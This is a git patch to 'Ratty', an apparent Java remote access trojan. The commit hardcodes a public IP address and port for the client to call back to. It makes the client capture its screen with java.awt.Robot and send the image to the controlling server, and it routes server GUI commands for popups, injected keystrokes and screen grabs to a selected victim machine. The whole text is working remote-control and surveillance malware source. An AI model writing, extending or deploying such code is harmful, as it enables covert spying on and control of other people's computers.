From b1607ef0a125bf3c4c3bd6b13e9c262ec243c10d Mon Sep 17 00:00:00 2001 From: Sogomn Date: Wed, 27 Jan 2016 22:38:24 +0100 Subject: [PATCH] Major changes Taking screenshots now works properly --- Ratty/src/de/sogomn/rat/Ratty.java | 8 +- Ratty/src/de/sogomn/rat/packet/IPacket.java | 6 +- .../src/de/sogomn/rat/packet/ImagePacket.java | 77 ++++++++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 5 +- .../src/de/sogomn/rat/packet/PopupPacket.java | 7 +- .../sogomn/rat/packet/ScreenshotPacket.java | 81 ++++++------------- .../rat/server/gui/ServerGuiController.java | 41 ++++------ 7 files changed, 135 insertions(+), 90 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/ImagePacket.java diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 62c65b3..f436087 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -13,7 +13,9 @@ import de.sogomn.rat.server.gui.ServerGuiController; public final class Ratty { - public static final boolean CLIENT = true; + public static final String ADDRESS = "46.59.138.220"; + public static final int PORT = 23456; + public static final boolean CLIENT = false; private Ratty() { //... @@ -62,11 +64,11 @@ public final class Ratty { if (CLIENT) { System.out.println("Starting client"); - connectToHost("localhost", 23456); + connectToHost(ADDRESS, PORT); } else { System.out.println("Starting server"); - startServer(23456); + startServer(PORT); } } diff --git a/Ratty/src/de/sogomn/rat/packet/IPacket.java b/Ratty/src/de/sogomn/rat/packet/IPacket.java index ebee014..c9d0597 100644 --- a/Ratty/src/de/sogomn/rat/packet/IPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/IPacket.java @@ -6,10 +6,10 @@ import de.sogomn.rat.ActiveClient; public interface IPacket { - public abstract void send(final ActiveClient client); + void send(final ActiveClient client); - public abstract void receive(final ActiveClient client); + void receive(final ActiveClient client); - public abstract void execute(final ActiveClient client); + void execute(final ActiveClient client); } diff --git a/Ratty/src/de/sogomn/rat/packet/ImagePacket.java b/Ratty/src/de/sogomn/rat/packet/ImagePacket.java new file mode 100644 index 0000000..795b64d --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/ImagePacket.java @@ -0,0 +1,77 @@ +package de.sogomn.rat.packet; + +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +import javax.imageio.ImageIO; + +import de.sogomn.engine.Screen; +import de.sogomn.engine.Screen.ResizeBehavior; +import de.sogomn.rat.ActiveClient; + +public final class ImagePacket implements IPacket { + + private BufferedImage image; + + private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); + + public ImagePacket() { + image = NO_IMAGE; + } + + public ImagePacket(final BufferedImage image) { + this.image = image; + } + + @Override + public void send(final ActiveClient client) { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + + try { + ImageIO.write(image, "JPG", out); + } catch (final IOException ex) { + ex.printStackTrace(); + } + + final byte[] data = out.toByteArray(); + + client.writeInt(data.length); + client.write(data); + } + + @Override + public void receive(final ActiveClient client) { + final int length = client.readInt(); + final byte[] data = new byte[length]; + + client.read(data); + + final ByteArrayInputStream in = new ByteArrayInputStream(data); + + try { + image = ImageIO.read(in); + } catch (final IOException ex) { + image = NO_IMAGE; + + ex.printStackTrace(); + } + } + + @Override + public void execute(final ActiveClient client) { + final int width = image.getWidth(); + final int height = image.getHeight(); + + final Screen screen = new Screen(width, height); + + screen.addListener(g -> { + g.drawImage(image, 0, 0, width, height, null); + }); + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.show(); + screen.redraw(); + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index f8dd93f..5430e2b 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -3,9 +3,10 @@ package de.sogomn.rat.packet; public enum PacketType { POPUP(1, PopupPacket.class), - SCREENSHOT(2, ScreenshotPacket.class), + IMAGE(2, ImagePacket.class), KEY_EVENT(3, KeyEventPacket.class), - FREE(4, FreePacket.class); + FREE(4, FreePacket.class), + SCREENSHOT(5, ScreenshotPacket.class); private final byte id; private final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index 25bef1f..c94ba3c 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -1,5 +1,6 @@ package de.sogomn.rat.packet; +import javax.swing.JDialog; import javax.swing.JOptionPane; import de.sogomn.rat.ActiveClient; @@ -30,7 +31,11 @@ public final class PopupPacket implements IPacket { @Override public void execute(final ActiveClient client) { - JOptionPane.showMessageDialog(null, message); + final JOptionPane optionPane = new JOptionPane(message); + final JDialog dialog = optionPane.createDialog(null); + + dialog.setModal(false); + dialog.setVisible(true); } public String getMessage() { diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java index fadf93c..df1f1a7 100644 --- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -4,85 +4,54 @@ import java.awt.AWTException; import java.awt.Rectangle; import java.awt.Robot; import java.awt.image.BufferedImage; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import javax.imageio.ImageIO; - -import de.sogomn.engine.Screen; -import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.rat.ActiveClient; public final class ScreenshotPacket implements IPacket { - private BufferedImage image; - - private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); + private int x, y; + private int width, height; public ScreenshotPacket() { - image = NO_IMAGE; + //... } public ScreenshotPacket(final int x, final int y, final int width, final int height) { - try { - final Robot robot = new Robot(); - - image = robot.createScreenCapture(new Rectangle(x, y, width, height)); - } catch (final AWTException ex) { - image = NO_IMAGE; - - ex.printStackTrace(); - } + this.x = x; + this.y = y; + this.width = width; + this.height = height; } @Override public void send(final ActiveClient client) { - final ByteArrayOutputStream out = new ByteArrayOutputStream(); - - try { - ImageIO.write(image, "JPG", out); - } catch (final IOException ex) { - ex.printStackTrace(); - } - - final byte[] data = out.toByteArray(); - - client.writeInt(data.length); - client.write(data); + client.writeInt(x); + client.writeInt(y); + client.writeInt(width); + client.writeInt(height); } @Override public void receive(final ActiveClient client) { - final int length = client.readInt(); - final byte[] data = new byte[length]; - - client.read(data); - - final ByteArrayInputStream in = new ByteArrayInputStream(data); - - try { - image = ImageIO.read(in); - } catch (final IOException ex) { - image = NO_IMAGE; - - ex.printStackTrace(); - } + x = client.readInt(); + y = client.readInt(); + width = client.readInt(); + height = client.readInt(); } @Override public void execute(final ActiveClient client) { - final int width = image.getWidth(); - final int height = image.getHeight(); + final Rectangle screenRect = new Rectangle(x, y, width, height); - final Screen screen = new Screen(width, height); - - screen.addListener(g -> { - g.drawImage(image, 0, 0, width, height, null); - }); - screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); - screen.show(); - screen.redraw(); + try { + final Robot robot = new Robot(); + final BufferedImage image = robot.createScreenCapture(screenRect); + final ImagePacket packet = new ImagePacket(image); + + client.sendPacket(packet); + } catch (final AWTException ex) { + ex.printStackTrace(); + } } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java index 3d6e23c..cdae96c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java @@ -48,6 +48,21 @@ public final class ServerGuiController implements IServerObserver, IClientObserv return null; } + /*HARDCODED ATM*/ + private IPacket getPacket(final String actionCommand) { + if (actionCommand == RattyGui.POPUP) { + return new PopupPacket("Test message"); + } else if (actionCommand == RattyGui.SCREENSHOT) { + return new ScreenshotPacket(0, 0, 1000, 1000); + } else if (actionCommand == RattyGui.KEY_EVENT) { + return new KeyEventPacket(KeyEvent.VK_G, KeyEventPacket.TYPE); + } else if (actionCommand == RattyGui.FREE) { + return new FreePacket(); + } + + return null; + } + @Override public void packetReceived(final ActiveClient client, final IPacket packet) { packet.execute(client); @@ -68,35 +83,11 @@ public final class ServerGuiController implements IServerObserver, IClientObserv System.out.println("Server closed"); } - /*TODO: MAKE DYNAMIC*/ @Override public void userInput(final String actionCommand) { final long lastIdClicked = gui.getLastIdClicked(); final ActiveClient client = getClient(lastIdClicked).client; - - IPacket packet = null; - - switch (actionCommand) { - case RattyGui.POPUP: - packet = new PopupPacket("Test message"); - - break; - case RattyGui.SCREENSHOT: - packet = new ScreenshotPacket(0, 0, 500, 500); - - break; - case RattyGui.KEY_EVENT: - packet = new KeyEventPacket(KeyEvent.VK_G, KeyEventPacket.TYPE); - - break; - case RattyGui.FREE: - final FreePacket freePacket = new FreePacket(); - - client.sendPacket(freePacket); - removeClient(client); - - break; - } + final IPacket packet = getPacket(actionCommand); if (packet != null) { client.sendPacket(packet);